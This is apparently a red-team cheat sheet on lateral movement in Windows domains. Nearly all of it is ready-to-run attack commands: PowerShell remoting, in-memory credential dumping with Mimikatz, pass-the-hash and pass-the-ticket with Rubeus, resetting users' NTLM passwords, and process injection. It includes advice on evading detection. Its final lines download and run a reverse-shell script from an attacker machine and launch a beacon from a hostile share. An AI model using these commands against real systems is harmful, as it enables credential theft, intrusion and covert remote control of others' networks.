PowerShell Remoting

Once a machine is compromised, we need to jump to others in order to find more valuable targets. For that task we can use PowerShell Remoting which is increasingly used in enterprises and enabled by default on Server 2012 onwards. PowerShell Remoting uses WinRM protocol, so you can check evil-winrm tool. Admin privileges on the target machineis needed.

Note: Maybe you need to enable remoting Enable-PSRemoting on a Desktop windows machine and Admin privs are required.

You can get a elevated shell (NT AUTHORITY\SYSTEM) on the remote server if the credentials of the user administrator are used to authenticate (default setting).

Using Credentials

We can use other credentials:

$user='WORKGROUP\User'; 
$pass='passwd';
$cred = (New-Object System.Management.Automation.PSCredential $user,(ConvertTo-SecureString $pass -AsPlainText -Force))

And use it with the parameter -Credential

Note: If password is not declared a prompt will be shown in order to enter manually.

Creating a Session

There are two types of PowerShell Remoting:

• One-to-One: It is interactively login to another machine. Create a new session on the target machine so runs in a new process (wsmprovhost).

Enter-PSSession -ComputerName machine01.corp.local
Enter-PSSession -ComputerName machine01.corp.local -Credential $cred
Enter-PSSession -ComputerName machine01.corp.local -Credential corp\user

We can also first create the session and append to it later.

$sess = New-PSSession -ComputerName machine01.corp.local
Enter-PSSession -Session $sess

Note: We can put a session in background if the session is stored in a variable. Very useful.

• One-to-Many: It is also known as Fan-out remoting. It is a non-interactive shell but we can execute commands parallely. Is useful to run commmands and scripts on multiple remote computers, in disconnected sessions and as a background job.

Invoke-Command -ComputerName machine01.corp.local -ScriptBlock {whoami;hostname}
Invoke-Command -ComputerName (Get-Content .\servers.txt)
Invoke-Command -ComputerName machine01.corp.local -FilePath .\file.ps1

Note: One of the best things in PowerShell to do PassTheHash, using credentials and executing commands on multiple remote computers.

RedTeam Note: Since admin privs are needed is a useful tool to check if the user has admin privs on the target machine.

Execute locally loaded funcitons on the remote machine

We can execute locally loaded function on the remote machine.

Invoke-Command -ScriptBlock ${function:Get-PassHashes} -ComputerName (Get-Content .\servers.txt)
Invoke-Command -ScriptBlock ${function:Get-PassHashes} -ArgumentList "-List hello" -ComputerName (Get-Content .\servers.txt)

Load a script remotely

we can load a script remotely.

Invoke-Command -FilePath .\hello.ps1 -Session $sess
Enter-PSSession -Session $sess

[machine01.corp.local]: PS C:\> hello
Hello World!

Execute “Stateful” commands

We can execute “Stateful” commands.

$sess = New-PSSession -ComputerName server1
Invoke-Command -Session $sess -ScriptBlock {$proc = Get-Process}
Invoke-Command -Session $sess -ScriptBlock {$proc.Name}

Transfering files

We can also transfer files with PSRemoting and Copy-Item

$sess = New-PSSession -ComputerName server1
Copy-Item C:\Windows\remote_file.txt C:\Windows\local_file.txt -FromSession $sess
Copy-Item C:\Windows\local_file.txt C:\Windows\remote_file.txt -ToSession $sess

Dump credentials

Once we have administrator privileges on the target machine we can dump credentials with Invoke-Mimikatz. See this section:

https://mvc1009.github.io/hackingnotes/post-exploitation/get-credentials/.

To avoid save mimikatz on disk we need to load remotely.

Invoke-Command -FilePath .\Invoke-Mimikatz.ps1 -Session $sess
Invoke-Command -Session $sess -ScriptBlock {Invoke-Mimikatz -DumpCreds}

Or we can execute locally loaded functions.

. .\Invoke-Mimikatz.ps1
Invoke-Command -Session $sess -ScriptBlock {function:Invoke-Mimikatz -DumpCreds}

Over-Pass-the-Hash / Pass-The-Key

Abusing kerberos functionality we can execute commands as another user by only knowing the NTLM hash.

• Invoke-Mimikatz

Invoke-Mimikatz -Command '"sekurlsa::pth /user:Administrator /domain:corp.local /ntlm:<ntlmhash> /run:powershell.exe"'

RedTeam Note: There is a different in encryption type for timestamp between a normal krb-as-req and one using the Over-Pass-the-hash krb-as-req

• Over-Pass-the-hash krb-as-req etype flag: eTYPE-ARCFOUR-HMAC-MD5 (23)
• Normal krb-as-req etype flag: eTYPE-AES256-CTS-HMAC-SHA1-96 (18)

To reduce the cahnces of detection use aes256, aes128 and NTLM(RC4) together.

Invoke-Mimikatz -Command '"sekurlsa::pth /user:Administrator /domain:corp.local /aes256:<aes256> /aes128:<aes128> /ntlm:<ntlmhash> /run:powershell.exe"'

• Rubeus

.\Rubeus.exe asktgt /domain:dollarcorp.moneycorp.local /user:srvadmin /rc4:a98e18228819e8eec3dfa33cb68b0728 /ptt

Pass-The-Ticket

We can use the tickets that are save to a .kirbi file.

• Invoke-Mimikatz

Invoke-Mimikatz -Command '"kerberos::ptt ticket.kirbi"'

• Rubeus

.\Rubeus.exe ptt /ticket:ticket.kirbi
.\Rubeus.exe ptt /ticket:<base64ticket>

Manipulating User Passwords with Mimikatz

Mimikatz supports the ability to manipulate user password, so we can change the password to a new one and restore it later.

Invoke-Mimikatz -Command '"lsadump::changentlm /server:dc01 /user:jeff /old:<NTLM> /newpassword:<NTLM2>"'

Invoke-Mimikatz -Command '"lsadump::setntlm /server:dc01 /user:jeff /ntlm:<NTLM>"'

• https://stealthbits.com/blog/manipulating-user-passwords-with-mimikatz/

Process Injection

We can also inject our shellcode or our binary to a process running by a user. Notice that elevated privileges are needed.

• https://github.com/S3cur3Th1sSh1t/SharpImpersonation

Get a list of running processes:

.\SharpImpersonation.exe list elevated

Inject on a process which is run by a specific user:

.\SharpImpersonation.exe user:CORP\jwick binary:"powershell.exe"
.\SharpImpersonation.exe user:CORP\jwick binary:"powershell.exe IEX(New-Object Net.WebClient).DownloadString('http://ipkali/rev.ps1')"
.\SharpImpersonation.exe user:CORP\jwick binary:"\\evil.corp.local\share\beacon.exe"